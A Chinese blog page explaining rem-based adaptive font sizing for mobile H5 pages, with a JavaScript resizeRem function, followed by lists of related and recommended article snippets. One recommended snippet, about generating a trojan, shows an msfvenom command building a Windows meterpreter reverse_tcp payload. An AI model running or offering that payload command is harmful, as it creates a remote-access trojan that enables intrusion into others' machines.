已知:

1、浏览器默认的字号是16px,html{font-size: 87.5%;}(16*0.875 = 14px)。

2、css中的单位换算:rem 与 px 的换算为 px = rem * 设置的根节点字号。

3、注意,html 字体大小最小为 12px;如果设置为10px,则换算后的 px 依然按照 12px 计算

待搞清楚

思路:html的font-size设置为:网页宽度/设计稿宽度*10 px,css设置时就按照设计稿的大小,如宽为10px,css设置成1rem。这样,html的fong-size就相当于等比放大缩小的系数*10。

在网页加载完成后运行如下代码。designWidth是参考的设计稿的网页宽度(我的一般参考375px),maxWidth是设计稿的最大网页宽度,一般为750。运行该函数后,将设计稿的px对应成css的rem就好。比如设计稿中font-size:10px,css为font-size:1rem。

除此之外,在网页代码的头部,加入一行viewport元标签<meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,minimum-scale=1.0,user-scalable=no">

//设置html的font-size
function resizeRem(designWidth, maxWidth) {
    var doc = document,
        win = window,
        docEl = doc.documentElement,
        remStyle = document.createElement("style"),
        tid;
    function refreshRem() {
        var width = docEl.getBoundingClientRect().width;
        maxWidth = maxWidth || 540;
        width > maxWidth && (width = maxWidth);
        var rem = width * 10 / designWidth;
        remStyle.innerHTML = 'html{font-size:' + rem + 'px;}';
    }
    if (docEl.firstElementChild) {
        docEl.firstElementChild.appendChild(remStyle);
    } else {
        var wrap = doc.createElement("div");
        wrap.appendChild(remStyle);
        doc.write(wrap.innerHTML);
        wrap = null;
    }
    //要等 wiewport 设置好后才能执行 refreshRem,不然 refreshRem 会执行2次;
    refreshRem();
    win.addEventListener("resize", function () {
        clearTimeout(tid); //防止执行两次
        tid = setTimeout(refreshRem, 300);
    }, false);
    win.addEventListener("pageshow", function (e) {
        if (e.persisted) { // 浏览器后退的时候重新计算
            clearTimeout(tid);
            tid = setTimeout(refreshRem, 300);
        }
    }, false);
    if (doc.readyState === "complete") {
        doc.body.style.fontSize = "16px";
    } else {
        doc.addEventListener("DOMContentLoaded", function (e) {
            doc.body.style.fontSize = "16px";
        }, false);
    }
}

h5项目自适应字体和宽高。用rem的更多相关文章

  1. 移动端 css实现自适应正圆 ( 宽高随着手机屏幕宽度自适应 )

    序言:应朋友要求随手写了一下移动端 css实现自适应正圆 ( 宽高随着手机屏幕宽度自适应 ) ,以备后用 LESS代码: .adaptive-circle { margin: 50px auto 0; ...

  2. 翻屏类 h5 适配方案:解决宽高自适应难题

    表格 图片等 宽度自适应  :width:100%;  box-sizing: border-box; 基于淘宝适配方案flexible + 翻屏h5 适配方案adaptive flexible解读及 ...

  3. NGUI 屏幕自适应(初始设定宽高800x480只支持比其大的屏幕)

    自适应讲解部分可以参考以下网址:http://www.xuanyusong.com/archives/2536,下面代码中提到的AdaptiveManualHeight()函数就是参考该文章的. 下面 ...

  4. 【项目笔记】拿宽高前measure(widthMeasureSpec, heightMeasureSpec)的使用技巧

    我们知道获取宽高一般写法是: view.measure(0, 0); view.getMeasuredHeight(); 拿宽高前什么时候可以直接用measure(0, 0);而什么时候不能用meas ...

  5. CSS实现宽度自适应100%,宽高16:9的比例的矩形

    现在我们来讲讲做自适应16:9的矩形要怎么做 第一步先计算高度,假设宽100%,那么高为h=9/16=56.25% 第二步利用之前所说设置padding-bottom方法实现矩形 代码 HTML &l ...

  6. CSS实现宽度自适应100%,宽高16:9的比例的圖片或者矩形

    前言 图片的大小是多少,宽度一定,高度要始终自自适应为16:9. 解决 1通过js,程序算出绝对高度再进行设置.这是解决问题最容易想到的方法. 2.我们的原则是能用css实现的功能尽量用css,这有利 ...

  7. 获取iframe自适应后的宽高

    1.同域 一:引入jquery <script type="text/javascript" src="../jquery.min.js">< ...

  8. cocos2dx获得字体的宽高

    Android: 1.在CCImage中添加下面的方法: //头文件声明略. cocos2d::CCSize CCImage::getStringSize(const char *text, cons ...

  9. js实现字体和容器宽高随窗口改变

    用于字体大小和容器的宽高字体和宽高设为rem就可以了 var html = document.documentElement; function fonts(){ var hW = html.offs ...

  10. 007. 自定义ListBox的item的宽高, 字体居中

    /// <summary> /// 自定义ListBox的item的宽高, 字体居中 /// </summary> /// <param name="sende ...

随机推荐

  1. Python:多进程并行编程与进程池

    Python的并行编程可以采用multiprocessing或mpi4py模块来完成. multiprocessing是Python标准库中的模块,实现了共享内存机制,也就是说,可以让运行在不同处理器 ...

  2. ORM数据增删改查 django请求生命周期 django路由层 反向解析

    目录 可视化界面之数据增删改查 补充 1.建表 2.数据展示功能 3.数据添加功能 4.数据编辑功能 5.数据删除功能 django请求生命周期流程图 crsf wsgirel 与 uwsgi ngi ...

  3. 监听Windows(生成木马)

    sudo su msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=ip地址 LPORT=端口 -f ...

  4. [深度学习] 神经网络的理解(MLP RBF RBM DBN DBM CNN 整理学习)

    转载于 http://lanbing510.info/2014/11/07/Neural-Network.html 开篇语 文章整理自向世明老师的PPT,围绕神经网络发展历史,前馈网络(单层感知器,多 ...

  5. [OpenCV实战]48 基于OpenCV实现图像质量评价

    本文主要介绍基于OpenCV contrib中的quality模块实现图像质量评价.图像质量评估Image Quality Analysis简称IQA,主要通过数学度量方法来评价图像质量的好坏. 本文 ...

  6. 物以类聚人以群分,通过GensimLda文本聚类构建人工智能个性化推荐系统(Python3.10)

    众所周知,个性化推荐系统能够根据用户的兴趣.偏好等信息向用户推荐相关内容,使得用户更感兴趣,从而提升用户体验,提高用户粘度,之前我们曾经使用协同过滤算法构建过个性化推荐系统,但基于显式反馈的算法就会有 ...

  7. ArcGIS工具 - 导出空数据库

    有时,需要根据已有的成果数据创建一个空的数据库模板文件,用于新的编辑或对外发布.那么,如果又快又好的创建呢?为源GIS为您编写了一个导出空数据库工具,它可以实现"一键"快速导出任意 ...

  8. (8)go-micro微服务Mysql配置

    目录 一 gorm介绍 二 gorm安装 1.1 下载依赖 1.2 使用MySQL驱动 三 CURD操作 1. 查询 1.1 单行查询 1.2 多行查询 2. 插入数据 3. 更新数据 4. 删除数据 ...

  9. Spring框架初学习

    Spring框架初学习   摘要:今天我终于开始学习大名鼎鼎的Spring框架了,在上大学的时候,经常看见一些课设大佬Spring,Spring的,什么Spring boot,Spring MVC的, ...

  10. C# 如何发送邮件消息

    1.安装NUGET包 MailKit 2.代码如下 using MailKit.Net.Smtp; using MimeKit; using System.Collections.Generic; u ...